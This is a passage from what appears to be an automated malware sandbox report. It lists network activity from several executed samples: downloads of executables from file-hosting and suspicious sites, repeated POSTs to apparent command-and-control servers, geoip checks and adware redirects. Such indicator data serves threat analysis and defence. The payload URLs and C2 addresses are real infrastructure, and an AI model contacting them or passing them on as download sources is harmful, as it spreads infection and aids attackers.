                                                                                                                                                                                                                                        • 116.121.62.237:80
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          897 B
                                                                                                                                                                                                                                          793 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://atvcampingtrips.com/upload/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          404
                                                                                                                                                                                                                                        • 104.16.203.237:443
                                                                                                                                                                                                                                          https://www.mediafire.com/file/im7qo11ly15e0hw/Cleaner_Installation.exe
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          MsiExec.exe
                                                                                                                                                                                                                                          1.0kB
                                                                                                                                                                                                                                          7.4kB
                                                                                                                                                                                                                                          12
                                                                                                                                                                                                                                          10

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://www.mediafire.com/file/im7qo11ly15e0hw/Cleaner_Installation.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          302
                                                                                                                                                                                                                                        • 199.91.155.129:443
                                                                                                                                                                                                                                          https://download2388.mediafire.com/kg76fnpt5kdg/im7qo11ly15e0hw/Cleaner+Installation.exe
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          MsiExec.exe
                                                                                                                                                                                                                                          2.3MB
                                                                                                                                                                                                                                          72.7MB
                                                                                                                                                                                                                                          48935
                                                                                                                                                                                                                                          48600

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://download2388.mediafire.com/kg76fnpt5kdg/im7qo11ly15e0hw/Cleaner+Installation.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 116.121.62.237:80
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          805 B
                                                                                                                                                                                                                                          793 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://atvcampingtrips.com/upload/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          404
                                                                                                                                                                                                                                        • 116.121.62.237:80
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          758 B
                                                                                                                                                                                                                                          515 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://atvcampingtrips.com/upload/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          404
                                                                                                                                                                                                                                        • 2.18.105.186:80
                                                                                                                                                                                                                                          http://go.microsoft.com/fwlink/?LinkID=252669&clcid=0x409
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          DsmSvc
                                                                                                                                                                                                                                          2.7kB
                                                                                                                                                                                                                                          588 B
                                                                                                                                                                                                                                          7
                                                                                                                                                                                                                                          7

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://go.microsoft.com/fwlink/?LinkID=252669&clcid=0x409

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          302
                                                                                                                                                                                                                                        • 162.213.253.67:443
                                                                                                                                                                                                                                          https://investorblak.com/wp-content/Test2.exe
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          67.0kB
                                                                                                                                                                                                                                          4.2MB
                                                                                                                                                                                                                                          1446
                                                                                                                                                                                                                                          2830

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://investorblak.com/wp-content/Test2.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 20.54.64.202:80
                                                                                                                                                                                                                                          http://dmd.metaservices.microsoft.com/metadata.svc
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          DsmSvc
                                                                                                                                                                                                                                          7.8kB
                                                                                                                                                                                                                                          9.0kB
                                                                                                                                                                                                                                          16
                                                                                                                                                                                                                                          15

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://dmd.metaservices.microsoft.com/metadata.svc

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://dmd.metaservices.microsoft.com/metadata.svc

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://dmd.metaservices.microsoft.com/metadata.svc

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://dmd.metaservices.microsoft.com/metadata.svc

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 2.18.105.186:80
                                                                                                                                                                                                                                          http://go.microsoft.com/fwlink/?LinkID=252669&clcid=0x409
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          DsmSvc
                                                                                                                                                                                                                                          1.9kB
                                                                                                                                                                                                                                          548 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          6

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://go.microsoft.com/fwlink/?LinkID=252669&clcid=0x409

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          302
                                                                                                                                                                                                                                        • 185.215.113.206:80
                                                                                                                                                                                                                                          http://185.215.113.206/k8FppT/index.php
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          rnyuf.exe
                                                                                                                                                                                                                                          788 B
                                                                                                                                                                                                                                          367 B
                                                                                                                                                                                                                                          12
                                                                                                                                                                                                                                          4

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://185.215.113.206/k8FppT/index.php

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 2.18.105.186:80
                                                                                                                                                                                                                                          http://go.microsoft.com/fwlink/?LinkID=252669&clcid=0x409
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          DsmSvc
                                                                                                                                                                                                                                          1.9kB
                                                                                                                                                                                                                                          548 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          6

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://go.microsoft.com/fwlink/?LinkID=252669&clcid=0x409

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          302
                                                                                                                                                                                                                                        • 185.215.113.206:80
                                                                                                                                                                                                                                          http://185.215.113.206/k8FppT/index.php?scr=1
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          rnyuf.exe
                                                                                                                                                                                                                                          14.1kB
                                                                                                                                                                                                                                          132 B
                                                                                                                                                                                                                                          15
                                                                                                                                                                                                                                          3

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://185.215.113.206/k8FppT/index.php?scr=1
                                                                                                                                                                                                                                        • 2.18.105.186:80
                                                                                                                                                                                                                                          http://go.microsoft.com/fwlink/?LinkID=252669&clcid=0x409
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          DsmSvc
                                                                                                                                                                                                                                          1.9kB
                                                                                                                                                                                                                                          548 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          6

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://go.microsoft.com/fwlink/?LinkID=252669&clcid=0x409

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          302
                                                                                                                                                                                                                                        • 116.121.62.237:80
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          867 B
                                                                                                                                                                                                                                          793 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://atvcampingtrips.com/upload/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          404
                                                                                                                                                                                                                                        • 116.121.62.237:80
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          700 B
                                                                                                                                                                                                                                          793 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://atvcampingtrips.com/upload/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          404
                                                                                                                                                                                                                                        • 94.103.83.88:60362
                                                                                                                                                                                                                                          http://94.103.83.88:60362/
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          AD95.exe
                                                                                                                                                                                                                                          1.2kB
                                                                                                                                                                                                                                          5.6kB
                                                                                                                                                                                                                                          11
                                                                                                                                                                                                                                          9

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://94.103.83.88:60362/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://94.103.83.88:60362/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 104.26.12.31:443
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          A23Ayg6MlA2S8O5cSFSG5DpC.exe
                                                                                                                                                                                                                                          753 B
                                                                                                                                                                                                                                          4.4kB
                                                                                                                                                                                                                                          9
                                                                                                                                                                                                                                          9

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://api.ip.sb/geoip

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 116.121.62.237:80
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          834 B
                                                                                                                                                                                                                                          793 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://atvcampingtrips.com/upload/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          404
                                                                                                                                                                                                                                        • 116.121.62.237:80
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          742 B
                                                                                                                                                                                                                                          509 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://atvcampingtrips.com/upload/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          404
                                                                                                                                                                                                                                        • 45.130.228.44:80
                                                                                                                                                                                                                                          http://t.ikedaikami.com/all/mysetup.exe
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          19.7kB
                                                                                                                                                                                                                                          758.6kB
                                                                                                                                                                                                                                          412
                                                                                                                                                                                                                                          662

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://t.ikedaikami.com/all/mysetup.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 104.26.12.31:443
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          AD95.exe
                                                                                                                                                                                                                                          753 B
                                                                                                                                                                                                                                          4.4kB
                                                                                                                                                                                                                                          9
                                                                                                                                                                                                                                          9

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://api.ip.sb/geoip

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 98.126.176.53:443
                                                                                                                                                                                                                                          vpn.maskvpn.org
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          mask_svc.exe
                                                                                                                                                                                                                                          1.3kB
                                                                                                                                                                                                                                          3.9kB
                                                                                                                                                                                                                                          10
                                                                                                                                                                                                                                          9
                                                                                                                                                                                                                                        • 188.124.36.242:25802
                                                                                                                                                                                                                                          http://188.124.36.242:25802/
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          D1EfYRA9RC4OkRzdWYnFh5GO.exe
                                                                                                                                                                                                                                          1.1kB
                                                                                                                                                                                                                                          5.6kB
                                                                                                                                                                                                                                          9
                                                                                                                                                                                                                                          9

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://188.124.36.242:25802/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://188.124.36.242:25802/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 111.90.156.58:80
                                                                                                                                                                                                                                          http://fsstoragecloudservice.com/campaign3/autosubplayer.exe
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          630 B
                                                                                                                                                                                                                                          393 B
                                                                                                                                                                                                                                          12
                                                                                                                                                                                                                                          5

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://fsstoragecloudservice.com/campaign3/autosubplayer.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 98.126.244.26:429
                                                                                                                                                                                                                                          mask_svc.exe
                                                                                                                                                                                                                                          758 B
                                                                                                                                                                                                                                          608 B
                                                                                                                                                                                                                                          10
                                                                                                                                                                                                                                          12
                                                                                                                                                                                                                                        • 185.4.65.191:1203
                                                                                                                                                                                                                                          twelveoclock.top
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          svrwebui.exe
                                                                                                                                                                                                                                          7.9kB
                                                                                                                                                                                                                                          1.7kB
                                                                                                                                                                                                                                          30
                                                                                                                                                                                                                                          29
                                                                                                                                                                                                                                        • 62.172.138.35:80
                                                                                                                                                                                                                                          http://geo.netsupportsoftware.com/location/loca.asp
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          svrwebui.exe
                                                                                                                                                                                                                                          302 B
                                                                                                                                                                                                                                          437 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          3

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://geo.netsupportsoftware.com/location/loca.asp

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 192.243.59.12:443
                                                                                                                                                                                                                                          https://www.profitabletrustednetwork.com/e2q8zu9hu?shu=ef3329931a49011e3c8da09cb4e1cf9d0daa856945b5a61dc56108bb383a14d0b8e5aaed9db8be783592ccd82f3d92c0e0a3dc20b411846f488eb72075205aea91b10781a2386044a908a166daeac8069bdf2b9c&pst=1629541750&rmtc=t&uuid=&pii=&in=false&key=a971bbe4a40a7216a1a87d8f455f71e6
                                                                                                                                                                                                                                          tls, http2
                                                                                                                                                                                                                                          MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                          1.8kB
                                                                                                                                                                                                                                          8.3kB
                                                                                                                                                                                                                                          18
                                                                                                                                                                                                                                          13

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://www.profitabletrustednetwork.com/e2q8zu9hu?shu=ef3329931a49011e3c8da09cb4e1cf9d0daa856945b5a61dc56108bb383a14d0b8e5aaed9db8be783592ccd82f3d92c0e0a3dc20b411846f488eb72075205aea91b10781a2386044a908a166daeac8069bdf2b9c&pst=1629541750&rmtc=t&uuid=&pii=&in=false&key=a971bbe4a40a7216a1a87d8f455f71e6

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          302
                                                                                                                                                                                                                                        • 192.243.59.12:443
                                                                                                                                                                                                                                          www.profitabletrustednetwork.com
                                                                                                                                                                                                                                          tls, http2
                                                                                                                                                                                                                                          MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                          1.0kB
                                                                                                                                                                                                                                          5.3kB
                                                                                                                                                                                                                                          13
                                                                                                                                                                                                                                          10
                                                                                                                                                                                                                                        • 104.21.7.179:443
                                                                                                                                                                                                                                          mybrowserinfo.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup.tmp
                                                                                                                                                                                                                                          1.5kB
                                                                                                                                                                                                                                          10.7kB
                                                                                                                                                                                                                                          12
                                                                                                                                                                                                                                          16
                                                                                                                                                                                                                                        • 188.124.36.242:25802
                                                                                                                                                                                                                                          http://188.124.36.242:25802/
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          nLzXGkEyBusWmHhEh3MQ9MC_.exe
                                                                                                                                                                                                                                          1.1kB
                                                                                                                                                                                                                                          5.7kB
                                                                                                                                                                                                                                          9
                                                                                                                                                                                                                                          10

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://188.124.36.242:25802/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://188.124.36.242:25802/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 188.124.36.242:25802
                                                                                                                                                                                                                                          http://188.124.36.242:25802/
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          6200429.exe
                                                                                                                                                                                                                                          1.1kB
                                                                                                                                                                                                                                          5.7kB
                                                                                                                                                                                                                                          9
                                                                                                                                                                                                                                          10

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://188.124.36.242:25802/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://188.124.36.242:25802/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 104.26.12.31:443
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          owjN8oM_IR5b6pDPbdHuHoD6.exe
                                                                                                                                                                                                                                          707 B
                                                                                                                                                                                                                                          4.5kB
                                                                                                                                                                                                                                          8
                                                                                                                                                                                                                                          10

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://api.ip.sb/geoip

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 3.209.145.5:443
                                                                                                                                                                                                                                          venetrigni.com
                                                                                                                                                                                                                                          tls, http2
                                                                                                                                                                                                                                          MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                          1.0kB
                                                                                                                                                                                                                                          6.1kB
                                                                                                                                                                                                                                          13
                                                                                                                                                                                                                                          9
                                                                                                                                                                                                                                        • 3.209.145.5:443
                                                                                                                                                                                                                                          https://venetrigni.com/stats
                                                                                                                                                                                                                                          tls, http2
                                                                                                                                                                                                                                          MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                          1.5kB
                                                                                                                                                                                                                                          6.5kB
                                                                                                                                                                                                                                          16
                                                                                                                                                                                                                                          11

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://venetrigni.com/stats

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 192.243.59.12:443
                                                                                                                                                                                                                                          www.profitabletrustednetwork.com
                                                                                                                                                                                                                                          tls, http2
                                                                                                                                                                                                                                          MicrosoftEdge.exe
                                                                                                                                                                                                                                          1.0kB
                                                                                                                                                                                                                                          5.3kB
                                                                                                                                                                                                                                          13
                                                                                                                                                                                                                                          10
                                                                                                                                                                                                                                        • 192.243.59.12:443
                                                                                                                                                                                                                                          https://www.profitabletrustednetwork.com/favicon.ico
                                                                                                                                                                                                                                          tls, http2
                                                                                                                                                                                                                                          MicrosoftEdge.exe
                                                                                                                                                                                                                                          1.3kB
                                                                                                                                                                                                                                          5.4kB
                                                                                                                                                                                                                                          14
                                                                                                                                                                                                                                          10

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://www.profitabletrustednetwork.com/favicon.ico

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 104.21.77.238:443
                                                                                                                                                                                                                                          udifjksl.gotrafficwins.com
                                                                                                                                                                                                                                          tls, http2
                                                                                                                                                                                                                                          MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                          971 B
                                                                                                                                                                                                                                          3.6kB
                                                                                                                                                                                                                                          12
                                                                                                                                                                                                                                          10
                                                                                                                                                                                                                                        • 104.21.77.238:443
                                                                                                                                                                                                                                          https://udifjksl.gotrafficwins.com/?cid=3922&clkid=2b56cf00459ad31a0eda661a0f6da22f&sid=14575867
                                                                                                                                                                                                                                          tls, http2
                                                                                                                                                                                                                                          MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                          1.5kB
                                                                                                                                                                                                                                          4.9kB
                                                                                                                                                                                                                                          16
                                                                                                                                                                                                                                          14

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://udifjksl.gotrafficwins.com/?cid=3922&clkid=2b56cf00459ad31a0eda661a0f6da22f&sid=14575867

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          302
                                                                                                                                                                                                                                        • 54.174.174.39:443
                                                                                                                                                                                                                                          beastbuying.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                          755 B
                                                                                                                                                                                                                                          6.0kB
                                                                                                                                                                                                                                          10
                                                                                                                                                                                                                                          7
                                                                                                                                                                                                                                        • 54.174.174.39:443
                                                                                                                                                                                                                                          https://beastbuying.com/nJclubFtjhgDzZUwFdlDcEGENzOtxLlOfIee8Pgs_mc/?clck=801e96c0-026a-11ec-8e37-89639de2a1f6&sid=14575867
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                          3.1kB
                                                                                                                                                                                                                                          60.7kB
                                                                                                                                                                                                                                          48
                                                                                                                                                                                                                                          44

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://beastbuying.com/nJclubFtjhgDzZUwFdlDcEGENzOtxLlOfIee8Pgs_mc/?clck=801e96c0-026a-11ec-8e37-89639de2a1f6&sid=14575867

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 104.21.1.123:443
                                                                                                                                                                                                                                          https://money4systems4.xyz/
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          7706313.exe
                                                                                                                                                                                                                                          345.2kB
                                                                                                                                                                                                                                          11.3kB
                                                                                                                                                                                                                                          250
                                                                                                                                                                                                                                          251

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST https://money4systems4.xyz/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 104.26.12.31:443
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          D1EfYRA9RC4OkRzdWYnFh5GO.exe
                                                                                                                                                                                                                                          707 B
                                                                                                                                                                                                                                          4.5kB
                                                                                                                                                                                                                                          8
                                                                                                                                                                                                                                          10

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://api.ip.sb/geoip

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 185.215.113.206:80
                                                                                                                                                                                                                                          http://185.215.113.206/k8FppT/index.php?scr=1
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          rnyuf.exe
                                                                                                                                                                                                                                          106.6kB
                                                                                                                                                                                                                                          2.2kB
                                                                                                                                                                                                                                          80
                                                                                                                                                                                                                                          45

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://185.215.113.206/k8FppT/index.php?scr=1

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          500
                                                                                                                                                                                                                                        • 162.0.220.187:80
                                                                                                                                                                                                                                          http://requestimmersive.com/t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          1.3kB
                                                                                                                                                                                                                                          842 B
                                                                                                                                                                                                                                          9
                                                                                                                                                                                                                                          7

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://requestimmersive.com/t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://requestimmersive.com/t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 162.0.210.44:443
                                                                                                                                                                                                                                          https://connectini.net/ip/check.php?duplicate=kenpachi2_registry_goodchannel_kosmedia_Xtex
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          900 B
                                                                                                                                                                                                                                          2.4kB
                                                                                                                                                                                                                                          8
                                                                                                                                                                                                                                          8

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://connectini.net/ip/check.php?duplicate=kenpachi2_registry_goodchannel_adxpertmedia_advancedmanager

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://connectini.net/ip/check.php?duplicate=kenpachi2_registry_goodchannel_kosmedia_Xtex

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 142.250.179.174:80
                                                                                                                                                                                                                                          http://www.google-analytics.com/collect
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          Cleaner_Installation.exe
                                                                                                                                                                                                                                          1.4kB
                                                                                                                                                                                                                                          1.5kB
                                                                                                                                                                                                                                          9
                                                                                                                                                                                                                                          5

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://www.google-analytics.com/collect

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://www.google-analytics.com/collect

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://www.google-analytics.com/collect

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 98.126.176.51:443
                                                                                                                                                                                                                                          user.maskvpn.org
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup.tmp
                                                                                                                                                                                                                                          1.4kB
                                                                                                                                                                                                                                          3.9kB
                                                                                                                                                                                                                                          10
                                                                                                                                                                                                                                          9
                                                                                                                                                                                                                                        • 98.126.176.51:443
                                                                                                                                                                                                                                          user.maskvpn.org
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup.tmp
                                                                                                                                                                                                                                          1.4kB
                                                                                                                                                                                                                                          3.9kB
                                                                                                                                                                                                                                          10
                                                                                                                                                                                                                                          9
                                                                                                                                                                                                                                        • 98.126.176.51:443
                                                                                                                                                                                                                                          user.maskvpn.org
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          mask_svc.exe
                                                                                                                                                                                                                                          1.7kB
                                                                                                                                                                                                                                          4.4kB
                                                                                                                                                                                                                                          17
                                                                                                                                                                                                                                          16
                                                                                                                                                                                                                                        • 98.126.176.51:443
                                                                                                                                                                                                                                          user.maskvpn.org
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          MaskVPNUpdate.exe
                                                                                                                                                                                                                                          1.3kB
                                                                                                                                                                                                                                          4.5kB
                                                                                                                                                                                                                                          10
                                                                                                                                                                                                                                          9
                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          wfsdragon.ru
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          58 B
                                                                                                                                                                                                                                          90 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          wfsdragon.ru

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          104.21.5.208
                                                                                                                                                                                                                                          172.67.133.215

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          xtect12.exe
